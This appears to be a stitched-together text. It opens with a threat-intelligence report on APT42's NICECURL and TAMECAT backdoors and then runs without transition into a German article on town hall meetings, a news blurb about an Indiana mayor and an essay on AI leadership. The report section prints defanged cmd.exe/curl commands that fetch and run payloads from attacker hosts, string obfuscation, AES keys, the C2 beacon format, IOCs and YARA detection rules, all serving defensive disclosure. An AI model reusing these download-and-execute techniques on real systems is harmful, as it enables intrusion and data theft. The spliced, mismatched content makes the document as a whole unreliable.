Despite the previously listed defense evasion techniques, Mandiant was able to attribute the cloud operations to APT42 based on the usage of domains overlapping with APT42 credential harvesting operations and the very specific Iran-related nature of intelligence collected by the actor.

APT42 Malware-Based Operations

Mandiant tracks several APT42 campaigns using custom malware. Most recently, Mandiant observed APT42 deploy two custom backdoors, TAMECAT and NICECURL. Both of these backdoors were delivered with decoy content (likely via spear phishing) and provide APT42 operators with initial access to the targets. The backdoors provide a flexible code-execution interface that may be used as a jumping point to deploy additional malware or to manually execute commands on the device.

Mandiant estimates APT42 used these backdoors to target NGOs, government, or intergovernmental organizations around the world, handling issues related to Iran and the Middle East, consistent with APT42 targeting profile.

Malware Family	Description
NICECURL	A backdoor written in VBScript that can download additional modules to be executed, including data mining and arbitrary command execution
TAMECAT	A PowerShell toehold that can execute arbitrary PowerShell or C# content

Table 1: APT42 Malware Families

NICECURL

NICECURL is a backdoor written in VBScript that can download additional modules to be executed, including a datamining module, and it provides an arbitrary command execution interface. The backdoor’s accepted commands include "kill" to remove artifacts and end execution, "SetNewConfig" to set a new sleep value, and "Module" to download and execute additional files, potentially extending NICECURL's functionality. NICECURL communicates over HTTPS.

In January 2024, Mandiant observed a malicious LNK file downloading NICECURL and a PDF decoy that masqueraded as an Interview Feedback Form of the Harvard T.H. Chan School of Public Health (Figure 18). The decoy mentions an interviewee by the name of Daniel Serwer, possibly referring to the scholar and foreign policy researcher by the same name, affiliated with the Middle East Institute. It is noteworthy that Mandiant has no indication these entities were targeted or compromised, but merely spoofed by APT42 decoys.

Figure 18: PDF decoy

The LNK file onedrive-form.pdf.lnk (MD5: d5a05212f5931d50bb024567a2873642) is downloaded from hxxps://drive-file-share[.]site/OneDrive-Form.pdf.lnk. This file was uploaded to the C2 on January 14, 2024.

Figure 19: NICECURL LNK file hosted on drive-file-share[.]site

The LNK file contains the following command to download and execute the NICECURL from prism-west-candy[.]glitch[.]me (the original command is defanged):

cmd.exe /c set c=cu7rl --s7sl-no-rev7oke -s -d \"id=CgYEFk
&Prog=2_Mal_vbs.txt&WH=Form.pdf\" -X PO7ST hxxps://
prism-west-candy[.]glitch[.]me/Down -o %temp%\\down.v7bs 
& call %c:7=% & set b=sta7rt \"\" \"%temp%\\down.v7bs\" & call %b:7=%

In February 2024, Mandiant identified another NICECURL sample named kuzen.vbs (MD5: 347b273df245f5e1fcbef32f5b836f1d), which connects to worried-eastern-salto[.]glitch[.]me and downloads a decoy file, question-Em.pdf (MD5: 2f6bf8586ed0a87ef3d156124de32757), about Empowering Women for Peace from an American think tank specializing in U.S. foreign policy and international relations (Figure 20).

Figure 20: Decoy file question-Em.pdf (MD5: 2f6bf8586ed0a87ef3d156124de32757)

According to the contents of the decoy file, the attack possibly happened in January or the beginning of February 2024 and targeted a victim located in Australia.

Mandiant also observed a similarly named encrypted RAR file named “question_Empowering Women for Peace Gender Equality in Conflict Prevention and Resolution (6).rar” (MD5: 13aa118181ac6a202f0a64c0c7a61ce7). This RAR file shares the same name with the decoy PDF and likely targeted the same victim.

This infection chain was previously documented by Volexity.

TAMECAT

In March 2024, Mandiant identified a sample of TAMECAT, a PowerShell toehold that can execute arbitrary PowerShell or C# content. TAMECAT is dropped by malicious macro documents, communicates with its command-and-control (C2) node via HTTP, and expects data from the C2 to be Base64 encoded. Mandiant previously observed TAMECAT used in a large-scale APT42 spear-phishing campaign targeting individuals or entities employed by or affiliated with NGOs, government, or intergovernmental organizations around the world.

TAMECAT Execution

Execution begins with a small VBScript downloader that leverages Windows Management Instrumentation (WMI) to query anti-virus products running on the victim's system. Depending on the script determining if Windows Defender is running, differing download commands and URLs are used.

If Windows Defender is running, the script will leverage conhost to execute a PowerShell command that uses Wget to download content at the following URL: hxxps://s3[.]tebi[.]io/icestorage/config/nconf.txt.

For all other cases, the script uses Cmd.exe to execute a Curl command that is similar to Curl commands used in the NICECURL execution chain previously described:

cmd.exe /c set c=cu9rl --s9sl-no-rev9oke -s -d ""i1=aaaa&EF1=2m.txt&WF1=test.pdf"" -X PO9ST hxxp://tnt200[.]mywire[.]org/Do1 -o %temp%\2m.v9bs & call %c:9=% & set b=sta9rt """" ""%temp%\2m.v9bs"" & call %b:9=%

a2.vbs (MD5: d7bf138d1aa2b70d6204a2f3c3bc72a7)
- Downloads: hxxps://s3[.]tebi[.]io/icestorage/config/nconf.txt (MD5: 081419a484bbf99f278ce636d445b9d8)
  - TAMECAT loader
- Downloads: hxxp://tnt200[.]mywire[.]org/Do1
  - Content not available
  - Possibly downloads malware from NICECURL ecosystem

Figure 21: a2.vbs content

The downloaded script, nconf.txt (MD5: 081419a484bbf99f278ce636d445b9d8), is a PowerShell script that contains an obfuscated and AES-encrypted TAMECAT backdoor. The script also downloads an additional PowerShell that is used to AES decrypt the embedded TAMECAT backdoor.

When downloading the AES decryption script, the following hard-coded User-agent string is used:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

It is noteworthy that the script contains a unique TAMECAT key value T2r0y1M1e1n1o0w1 that was used in a previously reported TAMECAT sample observed in June 2023 (MD5: dd2653a2543fa44eaeeff3ca82fe3513), further indicating the two samples belong to the same malware family. However, the unique value is not used in the script.

The script stores the URL for the AES decryption script as a Base64 string where the first three characters are truncated and the remaining string is Base64 decoded:

pepaHR0cHM6Ly9zMy50ZWJpLmlvL2ljZXN0b3JhZ2UvZGYzMnMudHh0
- Decodes to: hxxps://s3[.]tebi[.]io/icestorage/df32s.txt
The script stored at this URL is df32s.txt (MD5: c3b9191f3a3c139ae886c0840709865e)

The response content is Base64 decoded and also further decoded using a routine that does the following:

Inverts the bits of each byte within an array named $bytesOfRes
Extracts the least significant byte (8 bits) from the inverted representation
Converts the extracted byte back into a numerical byte value

Once decoded, the resulting PowerShell function resembles the following:

Figure 22: Decoded df32s.txt

The decoded script is a function that is mainly used to AES decrypt parameters that are passed to it. In addition, it defines global variables including a C2 domain, which are used by the TAMECAT backdoor that gets decrypted and executed.

The following AES key and IV are used to decrypt content:

AES Key: kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B
AES IV: 0T9r1y1M2e0N0o1w

The parent script uses the AES decrypt function to decode Base64, and AES decrypts the following string that is contained in the parent script:

v+UDXK47mBGgYqTbOXjXVD6MzhZenTfVf6CKxQFp2+AiPHMvmA2a4IiBz4rOi8ffxWdXFtrPk6
UABw1b6oBPsW1VV/HNU0mf8jH7xsoBAHY5Sp6vdYc7WGZ6SYO72KIH/hOyBlS5wc7Y86wJ
R9naW+0nINCYZV6RyD5t/fDpqEoRYW6dHwoebLECkEck/N5C1jhlFHaoS51QKSfgraHI5iRiT6p
fpqUNeJHbYz3VYuo/j2FZ6f5BCJgXoHKPmf4pUSwSZH0qQSa98blmdAH+tG7jc3AUE76IHx4x
kzxAldO/4b97duoI6rm+Ucy3rRHHrVnPQ0TvvTvudD/LDBwn3DkNcKSTDvEQDwIgni/MU7BOw
klcE1+qQjabXTGr+CrL0c53dNA4OGNYkBAnLokjcoNxKmxbCSK3oSdFEz2+htgPMOjq14IGoPS
OWcPX2CVK

Once decrypted, additional PowerShell is revealed that appends together a string obfuscated within nconf.txt, and AES decrypts the string. The decrypted results are the TAMECAT backdoor.

Borjol($wvp[5]+$xme[2]+$nwk[3]+$vrl[3]+$gzk[4]+$ni2[0]+$tkk[2]+$kq4[0]+$yoe[4]+$jwv[0]+
$ywa[0]+$sxi[5]+$bw9[12]+$kgu[1]+$mdi[0]+$ruz[3]+$byh[3]+$sja[3]+$wqf[0]+$wof[2]+$mg
4[1]+$rfi[5]+$dt9[11]+$qgv[9]+$jt5[0]+$lli[1]+$owd[4]+$lp2[6]+$wkb[2]+$zen[7]+$sro[0]+$ta8
[0]+$kg9[0]+$esk[8]+$ci4[5]+$oyx[0]+$ico[1]+$xy9[1]+$vvl[0])

The TAMECAT backdoor initially writes a likely victim identifier to the following location: %LOCALAPPDATA%\config.txt.

The TAMECAT backdoor makes an initial POST request to the globally defined C2 domain: hxxps://accurate-sprout-porpoise[.]glitch[.]me.

The initial POST request contains information like the following, which are AES encrypted and Base64 encoded:

{
    "rwsdjfxsdf": [
        {
            "num": "1"
        },
        {
            "OS": ""
        },
        {
            "ComputerName": ""
        },
        {
            "Token": ""
        }
    ]
}

The TAMECAT backdoor AES encrypts the content using the key kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B and a randomly generated 16-character IV, generated from the string ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz. The randomly generated IV is added to the POST request in a header called Content-DPR. The AES key is not transmitted to the C2, so it is likely the same AES key is used for multiple victims.

If the response is successful, it is also expected to contain a header named Content-DPR, which is expected to house an IV used with the aforementioned AES key to decrypt the response data.

The decrypted response data is split by the paragraph symbol (¶) into four values:

Language
Command
ThreadName
StartStop

The available commands appear mostly the same as previously identified TAMECAT samples:

Variable	Value	Description
$language	powershell or csharp	Interpret command value as PowerShell or CSharp code
$StartStop	downloadutils or start or stop	Download additional content, start command with parameters, stop command

Table 2: Available commands

Outlook and Implications

APT42 has remained relatively focused on intelligence collection and targeting similar victimology, despite the Israel-Hamas war that has led other Iran-nexus actors to adapt by conducting disruptive, destructive, and hack-and-leak activities.

In addition to deploying custom implants on compromised devices, APT42 was also observed conducting extensive cloud operations. In cloud environments not vulnerable to implants, APT42 relies on social engineering to harvest credentials and collect intelligence of strategic interest to Iran. Credential abuse was also emphasized as a common initial access vector to cloud environments in the latest Google Cloud Threat Horizons report.

The methods deployed by APT42 leave a minimal footprint and might make the detection and mitigation of their activities more challenging for network defenders. The TTPs, IOCs, and provided rules included in this blog post may support detection and mitigation efforts.

For Google Chronicle Enterprise+ customers, Chronicle rules have been released to your Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence. In addition, the IOCs listed in this blog post are blocked in Safe Browsing, protecting Google Chrome users, as well as other browsers.

Indicators of Compromise (IOCs)

A VirusTotal Collection featuring IOCs related to the APT42 activity described in this post is now available for registered users.

Credential Harvesting and Cloud-Based Operations

Domain	Organization	Country
Cluster A
News Outlets
azadlliq[.]info	Azadliq	Azerbaijan
businesslnsider[.]org	Business Insider	U.S.
ecomonist[.]org	The Economist	UK
eocnomist[.]com	The Economist	UK
foreiqnaffairs[.]com	Foreign Affairs	U.S.
forieqnaffairs[.]com	Foreign Affairs	U.S.
foreiqnaffairs[.]org	Foreign Affairs	U.S.
israelhayum[.]com	Israel Hayom	Israel
jpost[.]press	Jerusalem Post	Israel
jpostpress[.]com	Jerusalem Post	Israel
khaleejtimes[.]org	Khaleej Times	UAE
khalejtimes[.]org	Khaleej Times	UAE
maariv[.]net	Maariv	Israel
themedealine[.]org	The Media Line	U.S.
timesfisrael[.]com	Times Of Israel	Israel
vanityfaire[.]org	Vanity Fair	U.S.
washinqtonpost[.]press	The Washington Post	U.S.
ynetnews[.]press	Ynet	Israel
Legitimate Services
account-signin[.]com	Google/Microsoft	N/A
acconut-signin[.]com	Google/Microsoft	N/A
accounts-mails[.]com	Google/Microsoft	N/A
coordinate[.]icu	Generic	N/A
dloffice[.]top	Microsoft	N/A
dloffice[.]buzz	Microsoft	N/A
myaccount-signin[.]com	Google/Microsoft	N/A
signin-acconut[.]com	Google/Microsoft	N/A
signin-accounts[.]com	Google/Microsoft	N/A
signin-mail[.]com	Google/Microsoft	N/A
signin-mails[.]com	Google/Microsoft	N/A
signin-myaccounts[.]com	Google/Microsoft	N/A
support-account[.]xyz	Google/Microsoft	N/A
Cluster B
Generic Login Services
accredit-validity[.]online	Generic	N/A
activity-permission[.]online	Generic	N/A
admin-stable-right[.]top	Generic	N/A
admiscion[.]online	Generic	N/A
admit-roar-frame[.]top	Generic	N/A
advission[.]online	Generic	N/A
affect-fist-ton[.]online	Generic	N/A
avid-striking-eagerness[.]online	Generic	N/A
beaviews[.]online	Generic	N/A
besvision[.]top	Generic	N/A
bloom-flatter-affably[.]top	Generic	N/A
book-download[.]shop	Generic	N/A
bq-ledmagic[.]online	Generic	N/A
briview[.]online	Generic	N/A
chat-services[.]online	Generic	N/A
check-online-panel[.]live	Generic	N/A
check-pabnel-status[.]live	Generic	N/A
check-panel-status[.]live	Generic	N/A
check-panel-status[.]live	Generic	N/A
check-short-panel[.]live	Generic	N/A
confirmation-process[.]top	Generic	N/A
connection-view[.]online	Generic	N/A
continue-meeting[.]site	Generic	N/A
continue-recognized[.]online	Generic	N/A
cvisiion[.]online	Generic	N/A
drive-access[.]site	Generic	N/A
endorsement-services[.]online	Generic	N/A
fortune-retire-home[.]top	Generic	N/A
geaviews[.]site	Generic	N/A
glory-uplift-vouch[.]online	Generic	N/A
go-conversation[.]lol	Generic	N/A
go-forward[.]quest	Generic	N/A
gview[.]site	Generic	N/A
home-continue[.]online	Generic	N/A
home-proceed[.]online	Generic	N/A
identifier-direction[.]site	Generic	N/A
indication-service[.]online	Generic	N/A
join-paneling[.]online	Generic	N/A
ksview[.]top	Generic	N/A
last-check-leave[.]buzz	Generic	N/A
live-project-online[.]live	Generic	N/A
live-projects-online[.]top	Generic	N/A
loriginal[.]online	Generic	N/A
mail-roundcube[.]site	Generic	N/A
meeting-online[.]site	Generic	N/A
mterview[.]site	Generic	N/A
nterview[.]site	Generic	N/A
online-processing[.]online	Generic	N/A
online-video-services[.]site	Generic	N/A
ovcloud[.]online	Generic	N/A
panel-check-short[.]live	Generic	N/A
panel-check-short[.]live	Generic	N/A
panel-live-check[.]online	Generic	N/A
panel-short-check[.]live	Generic	N/A
panel-view-short[.]online	Generic	N/A
panel-view[.]live	Generic	N/A
panel-view[.]online	Generic	N/A
panel-views-cheking[.]live	Generic	N/A
panelchecking[.]live	Generic	N/A
paneling-viewing[.]live	Generic	N/A
panels-views-ckeck[.]live	Generic	N/A
pannel-get-data[.]us	Generic	N/A
quomodocunquize[.]site	Generic	N/A
recognize-validation[.]online	Generic	N/A
reconsider[.]site	Generic	N/A
revive-project-live[.]online	Generic	N/A
short-url[.]live	Generic	N/A
short-view[.]online	Generic	N/A
shortenurl[.]online	Generic	N/A
shortingurling[.]live	Generic	N/A
shortlinkview[.]live	Generic	N/A
shortulonline[.]live	Generic	N/A
shorting-ce[.]live	Generic	N/A
shoting-urls[.]live	Generic	N/A
simple-process-static[.]top	Generic	N/A
status-short[.]live	Generic	N/A
stellar-roar-right[.]buzz	Generic	N/A
sweet-pinnacle-readily[.]online	Generic	N/A
tcvision[.]online	Generic	N/A
title-flow-store[.]online	Generic	N/A
twision[.]top	Generic	N/A
ushrt[.]us	Generic	N/A
verify-person-entry[.]top	Generic	N/A
view-cope-flow[.]online	Generic	N/A
view-panel[.]live	Generic	N/A
view-pool-cope[.]online	Generic	N/A
view-total-step[.]online	Generic	N/A
viewstand[.]online	Generic	N/A
viewtop[.]online	Generic	N/A
virtue-regular-ready[.]online	Generic	N/A
we-transfer[.]shop	Generic	N/A
URL Shortening Services
m85[.]online	Generic	N/A
s51[.]online	Generic	N/A
s59[.]site	Generic	N/A
s20[.]site	Generic	N/A
d75[.]site	Generic	N/A
Cluster C
URL Shortening Services
bitly[.]org[.]il	Bitly	Israel
litby[.]us	Bitly	U.S.
Mailer Daemon
daemon-mailer[.]co	Mailer Daemon	N/A
daemon-mailer[.]info	Mailer Daemon	N/A
email-daemon[.]biz	Mailer Daemon	N/A
email-daemon[.]biz[.]tinurls[.]com	Mailer Daemon	N/A
email-daemon[.]online[.]tinurls[.]com	Mailer Daemon	N/A
email-daemon[.]online	Mailer Daemon	N/A
email-daemon[.]site	Mailer Daemon	N/A
mailer-daemon[.]info	Mailer Daemon	N/A
mailerdaemon[.]online	Mailer Daemon	N/A
mailer-daemon[.]us	Mailer Daemon	N/A
Think Tanks & Research Institutes
aspenlnstitute[.]org	Aspen Institute	U.S.
mccainlnstitute[.]org	Mccain Institute	U.S.
washingtonlnstitute[.]org	The Washington Institute	U.S.
File Sharing Services
youtransfer[.]live	YouTransfer	N/A
Miscellaneous
g-online[.]org	Generic	N/A
online-access[.]live	Generic	N/A
youronlineregister[.]com	Generic	N/A

Malware Operations

NICECURL

Related IOCs

d5a05212f5931d50bb024567a2873642

347b273df245f5e1fcbef32f5b836f1d

2f6bf8586ed0a87ef3d156124de32757

13aa118181ac6a202f0a64c0c7a61ce7

c23663ebdfbc340457201dbec7469386

853687659483d215309941dae391a68f

drive-file-share[.]site

prism-west-candy[.]glitch[.]me

NICECURL: YARA Rules

rule M_APT_Backdoor_NICECURL_1 {
	meta:
		author = "Mandiant"
		md5 = "c23663ebdfbc340457201dbec7469386"
		date_created = "2024-01-18"
	    date_modified = "2024-01-18"
	    rev = "1"
	strings:
		$ = "a = \"llehS.tpircsW\"" ascii wide
		$ = "b = StrReverse(a)" ascii wide
		$ = "Set objShell = wscript.CreateObject(b)"
		$ = "WHFilePath = Temp & \"/\" & ProgName" ascii wide
		$ = "Do While not FileExists(WHFilePath)" ascii wide
		$ = "cmd /C start /MIN curl --ssl-no-revoke -s -d \"\"\"" ascii wide
		$ = "nicecmdPath = Temp & \"/\" & ProgName" ascii wide
		$ = "Function RunCom(Com, Url, nicecmdPath)" ascii wide
		$ = "ComDecode = Base64Decode(Com)" ascii wide
		$ = "InStr(ComDecode, \"kill\")" ascii wide
		$ = "InStr(ComDecode, \"SetNewConfig\")" ascii wide
		$ = "InStr(ComDecode, \"Module\")" ascii wide
		$ = "Sub DeleteFile(filespec)" ascii wide
		$ = "Sub CopyFile(Src, Dst)" ascii wide
		$ = "Function SendData(sUrl, sRequest, nicecmdPath)" ascii wide
		$ = "Function WriteToFile(FilePath, data)" ascii wide
		$ = "Function GetSystemCaption()" ascii wide
		$ = "Function GetPlainSess()" ascii wide
	condition:
	4 of them
}

rule M_APT_Backdoor_NICECURL_datamine_module_1 {
	meta:
		author = "Mandiant"
		md5 = "853687659483d215309941dae391a68f"
		date_created = "2024-01-18"
	    date_modified = "2024-01-18"
	    rev = "1"
	strings:
		$ = "a = \"llehS.tpircsW\"" ascii wide
		$ = "b = StrReverse(a)" ascii wide
		$ = "Set objShell = wscript.CreateObject(b)" ascii wide
		$ = "ModuleName & \" module started successfully.\"" ascii wide
		$ = "SendLog(MAC, Logs, ModuleName, \"Success\")" ascii wide
		$ = "& vbNewLine  & \"*** Ant:\"" ascii wide
		$ = "For Each antivirus in installedAntiviruses" ascii wide
		$ = "list=list & VBNewLine & antivirus.displayName" ascii wide
		$ = "checking the state of the 12th bit of productState property of 
the antivirus" ascii wide
		$ = "For Each item In query_result" ascii wide
		$ = "Set query_result = objWMI.ExecQuery(\"" ascii wide
		$ = "Function SendFile(FilePath, ModuleName)" ascii wide
		$ = "Function SendData(Base64Data, FolderName, FileName, Format)" 
ascii wide
		$ = "call HTTPPost(Url, sRequest)" ascii wide
		$ = "ChunckData = Mid(Base64Data, 1, lengthdata)" ascii wide
		$ = "ChunckData = Mid(Base64Data, (i * lengthdata) + 1)" ascii wide
		$ = "ChunckData = Mid(Base64Data, (i * lengthdata) + 1, lengthdata)" 
ascii wide
		$ = "Function SendLog(MAC, Logs, ModuleName, Status)" ascii wide
	condition:
	4 of them
}

TAMECAT

Related IOCs

d7bf138d1aa2b70d6204a2f3c3bc72a7

081419a484bbf99f278ce636d445b9d8

c3b9191f3a3c139ae886c0840709865e

dd2653a2543fa44eaeeff3ca82fe3513

9c5337e0b1aef2657948fd5e82bdb4c3

tnt200[.]mywire[.]org

accurate-sprout-porpoise[.]glitch[.]me

TAMECAT: YARA Rules

rule M_APT_Backdoor_TAMECAT_2 {
	meta:
		author = "Mandiant"
		md5 = "9c5337e0b1aef2657948fd5e82bdb4c3"
		date_created = "2024-03-05"
	    date_modified = "2024-03-05"
	    rev = "1"
	strings:
		$ = "$a.CreateDecryptor($a.Key,$a.iv)"
		$ = "$CommandParts = \"\""
		$ = "$macP = $env:APPDATA+\"\\"
		$ = "$macP = \"$env:LOCALAPPDATA\\"
		$ = "$mac += Get-Content -Path $macP"
		$ = "$CommandParts =$SessionResponse.Split(\""
		$ = "[string]$CommandPart = \"\";"
		$ = "Foreach ($CommandPart in $CommandParts)"
		$ = "$CommandPart.Split(\"~\");"
		$ = "elseif($StartStop -eq \"stop\")"
		$ = "if($StartStop -eq \"start\")"
		$ = "&(gcm *ke-e*) $Command;"
	condition:
		3 of them and filesize<2MB
}

rule M_APT_Downloader_TAMECAT_NICECURL_VBScript_1 {
    meta:
        author = "Mandiant"
        md5 = "d7bf138d1aa2b70d6204a2f3c3bc72a7"
        date_created = "2024-03-13"
        date_modified = "2024-03-13"
        rev = "1"
    strings:
        $ = "For Each antivirus in installedAntiviruses"
        $ = "list=list & VBNewLine & antivirus.displayName"
        $ = "\"conhost conhost powershell.exe -w 1 -c \""
        $ = "-UseBasicParsing).Content; &(gcm *e-e?p*)$"
        $ = "Set oE = objShell.Exec("
        $ = "\"cmd.exe /c set c=cu9rl --s9sl-no-rev9oke -s -d \""
        $ = "& call %c:9=% & set b=sta9rt"
    condition:
    3 of them
}

rule M_APT_Backdoor_TAMECAT {
    meta:
        author = "Mandiant"
        md5 = "d7bf138d1aa2b70d6204a2f3c3bc72a7"
        date_created = "2024-03-11"
        date_modified = "2024-03-11"
        rev = "1"
  strings:
    $s1 = "OutputCom = OutputCom & \"NOT_FOUND\"" ascii wide
    $s2 = "OutputCom = OutputCom & list" ascii wide
    $s3 = "If  antivirus.productState And &h01000 Then" ascii wide
  condition:
    all of them
}

Town Hall Meetings richtig planen

Sun, 07 Jun 2026 06:07:02 +0200

Ein Town Hall Meeting ist hauptsächlich dafür da, dass das Management die Fragen der Belegschaft beantwortet.

Monkey Business Images – shutterstock.com

Ein Town Hall Meeting, auch als All Hands Meeting bezeichnet, ist im Unternehmenskontext eine von der Geschäftsleitung initiierte Versammlung für alle Mitarbeiterinnen und Mitarbeiter. Es ist also ein weit verbreitetes Werkzeug für übergreifende, interne Kommunikation. Je nach Unternehmensgröße und -struktur kann so eine Versammlung jährlich, halbjährlich oder quartalsweise stattfinden.

Zwar steht meist eine Präsentation aus der Führungsriege auf der Agenda. Hauptzweck eines Town Hall Meetings ist es jedoch, dass das Management der Belegschaft Rede und Antwort steht. Daher sind ein Q&A-Teil und die daraus resultierende Diskussion zentrale Bestandteile.

Der Zweck von Town Hall Meetings

Town Hall Meetings sind dazu da, den Teilnehmern sofort Antworten auf ihre Fragen zu liefern. Im Idealfall erhält die Belegschaft direkt Informationen von den Führungskräften zu ihren Anliegen. Umgekehrt erhält das Management ungefiltertes Feedback aus allen Ebenen der Organisation.

Ein Town Hall Meeting soll zudem der Gerüchteküche und Falschinformationen Einhalt gebieten. Die Mitarbeitenden erhalten Antworten zu Themen, die sie akut bewegen, direkt vom Management anstatt über den Flurfunk.

Da sich die Teilnehmer direkt mit der Führungsebene austauschen, fühlen sie sich in die Entwicklung des Unternehmens eingebunden. Im besten Fall stärkt das die Bindung zum Arbeitgeber sowie die Motivation.

Town Hall Meetings organisieren

Am Anfang steht die Einladung der Belegschaft zu der Veranstaltung und hier gilt es das erste Fettnäpfchen zu vermeiden: Die korrekte Schreibweise lautet “Town Hall Meeting” – es wird nicht zusammengeschrieben. Das liegt an der Herkunft des Begriffs. Er leitet sich von Bürgerversammlungen im Rathaus ab und im Englischen heißt dieser Ort “Town Hall” oder “City Hall”.

Auch wenn es im Town Hall Meeting hauptsächlich um die Fragen der Kolleginnen und Kollegen geht, braucht es eine Agenda. Diese Tagesordnung für die Versammlung sollte mindestens einen Tag vor der Veranstaltung verschickt werden. So haben die Teilnehmer genügend Zeit, sich Fragen zu überlegen.

Jedes Town Hall Meeting sollte eine präzise Zielsetzung haben. Das können beispielsweise neue gelaunchte Produkte, Quartalszahlen, organisatorische Veränderungen oder Ergebnisse von Mitarbeiterbefragungen sein.

Neben der Begrüßung sollte ein Slot für ein knappes Unternehmens-Update reserviert sein, das sich am Anlass des Town Hall Meetings orientiert. Neben dem CEO können hier auch relevante Führungskräfte aus dem restlichen C-Level zu Wort kommen.

Um den Austausch mit der Belegschaft zielgerichtet anzustoßen ist es zudem ratsam, vor der Q&A-Session das spezifische Ziel des Meetings noch einmal zu wiederholen. Der offene Fragen-Block nimmt anschließend den Löwenanteil der Veranstaltung ein – mindestens zwei Drittel der veranschlagten Zeit.

Um die Begrüßung und den Update-Teil aufzulockern und die Teilnehmer hier bereits einzubeziehen, bieten sich interaktive Elemente an. Im Präsentationsteil können etwa Ad-hoc-Umfragen via App oder Ähnliches eingebunden werden.

Wenn möglich, sollte ein Moderator eingesetzt werden, der durch die Veranstaltung führt. Er oder sie gibt kurze Einleitungen zu den verschiedenen Teilen der Veranstaltung, stellt gegebenenfalls Fragen aus dem Chat und fasst Antworten zusammen.

Im Nachgang sollten die Ergebnisse des Meetings und die beantworteten Fragen zusammengefasst an alle Teilnehmer geschickt werden. Dies bietet dem Management auch Gelegenheit, Fragen zu beantworten, die aus zeitlichen Gründen nicht im Meeting selbst behandelt werden konnten. Um auch Mitarbeiter abzuholen, die nicht am Meeting teilnehmen konnten, sollte es aufgezeichnet und zum späteren Ansehen zur Verfügung gestellt werden.

Sonderregeln für Hybrid- und Online-Veranstaltungen

Vor jedem hybriden oder nur online abgehaltenen Town Hall Meeting sollte ein technischer Testlauf stattfinden. So vermeiden die Organisatoren Pannen, während das ganze Unternehmen zusieht.

Findet das Meeting in hybrider Form oder nur online statt, sollten die gestellten Fragen organisiert werden. Läuft alles nur über den Chat des Meetingprogramms zusammen, verliert man schnell die Übersicht. Fragen sollten gesammelt, vorsortiert und als beantwortet markiert werden können.

Zudem sollte es eine Möglichkeit geben, Fragen anonym zu stellen. Darüber hinaus kann es hilfreich sein, dass Teilnehmer gestellte Fragen “liken” können, um ein Gefühl zu bekommen, welche Themen die Belegschaft besonders umtreiben.

In der Einladung zu einem digitalen Town Hall Meeting sollte eine knappe FAQ zu technischen Details enthalten sein. Darin sollten grundlegende Fragen beantwortet werden, wie: Wo findet man den Link zum Meeting und wie kann man sich einwählen? Wo bekommen die Teilnehmer technischen Support bei Störungen? Wann und wie können Fragen gestellt werden? Wo sind ergänzende Tools zu finden? Zudem ist ein kurzer Hinweis zur Online-Etikette nützlich, um grundlegende Verhaltensweisen wie Stummschalten und die Teilnahme am Chat aufzufrischen.

Weitere Meeting-Formen:
So funktioniert Agile Coffee
Was ist eine Brown-Bag-Session?
Was ist eine Fuckup Night?
Das Beste aus Offsite-Meetings herausholen
So wird der Team Huddle zum Erfolg

Meeting-Formen

Im Jahre 2012 in Mexiko entstanden, sollen Fuckup Nights (“Fuck up”, zu Deutsch etwa “Missgeschick”) eine konstruktive Fehlerkultur etablieren. Ziel ist es, sich das eigene Scheitern einzugestehen und die Erfahrungen an andere weiterzugeben.

Agile Coffee ist ein strukturiertes, meist informelles Meeting ohne vorgegebene Agenda, das auf demokratische Themenfindung baut. Das Format basiert auf dem Konzept “Lean Coffee”, das von Jim Benson und Jeremy Lightsmith erarbeitet wurde. Die Idee dahinter: Meetings abhalten, die für alle Teilnehmer Mehrwert bieten und aktive Teilnahme fördern, ohne unnötigen Ballast.

Im Sport kommt das Team in einem „Huddle“ (etwa „Haufen“) zusammen, um vor dem Spiel oder in der Pause den Teamspirit zu stärken oder die nächsten Spielzüge zu besprechen. Team Huddles sollen diese Praxis auf Unternehmen übertragen. Team Huddles sind dazu gedacht, knapp und zielgerichtet das Wichtigste fürs Tagesgeschäft zu besprechen. Ziel ist es, den Stand und die Prioritäten laufender oder anstehender Aktivitäten im Team zu diskutieren und Probleme früh zu erkennen.

Eine Brown-Bag-Session ist ein Event, bei dem die Teilnehmenden informiert oder geschult werden, während sie essen. Der Rahmen ist meist informell. Da die Meetings oft in (Mittags-)Pausen stattfinden, ist die Teilnahme in der Regel freiwillig.

Ein Arbeitsmeeting außerhalb der gewohnten Arbeitsumgebung – das bedeutet Offsite-Meeting grob zusammengefasst. Ziel ist es, Teammitglieder in einem Umfeld außerhalb des Home Office oder des Büros zusammenzubringen.

Ein Town Hall Meeting, auch als All Hands Meeting bezeichnet, ist im Unternehmenskontext eine von der Geschäftsleitung initiierte Versammlung für alle Mitarbeiterinnen und Mitarbeiter. Hauptzweck eines Town Hall Meetings ist es, dass das Management der Belegschaft Rede und Antwort steht.

The mayor of Shelbyville, Indiana, says only people who live in ‘shitty houses’ oppose data center

Sat, 06 Jun 2026 17:16:45 +0200

A proposed $2 billion data center has become a political flashpoint in the small city of Shelbyville, Indiana. And the controversy has only grown more intense after the mayor, Scott Furgeson, was caught on camera saying of the "No Data Center" signs going up that, "I've seen a lot of these all over town, but […]

AI has a leadership problem, not a technology problem. Most organisations haven’t noticed yet

Fri, 05 Jun 2026 11:05:55 +0200

Recently, a senior leader asked me why their people were “resisting” the new AI tools they’d just mandated across the business. As we unpacked it, they admitted there’d been no real narrative about why this mattered, no redesign of processes and no time or support for teams to safely experiment, just licenses, policy and a launch email. The tools were live, but the change never actually started.

I keep seeing the same pattern across organisations in Australia and New Zealand: Significant AI investment, thoughtful technology selection and far less adoption than leaders expected.

After 25 years in transformation, I’ve come to believe that AI doesn’t fail organizations. It exposes them. Specifically, it exposes the leadership and change capability gaps that were already there, and it does it faster, more visibly, than most technology shifts before it.

The numbers don’t lie — but they don’t tell the whole story

Prosci recently completed research with 1,107 participants across executives, team leaders and frontline workers examining AI implementation in practice. The headline findings sound encouraging: 94% of organizations say AI is easy to use, and 98% find it valuable.

So why are so many implementations still falling short of expectations?

Those numbers measure perception, not behavior. Real ROI only shows up when people actually work differently, and that’s where most organizations are stuck.

When we looked at the organizations getting real traction from AI compared to those still struggling, the difference wasn’t the technology. It was leadership, trust, culture and change management. More specifically, it was the extent to which organizations treated AI as a human transformation, not simply a technology implementation.

AI adoption is exposing a leadership gap

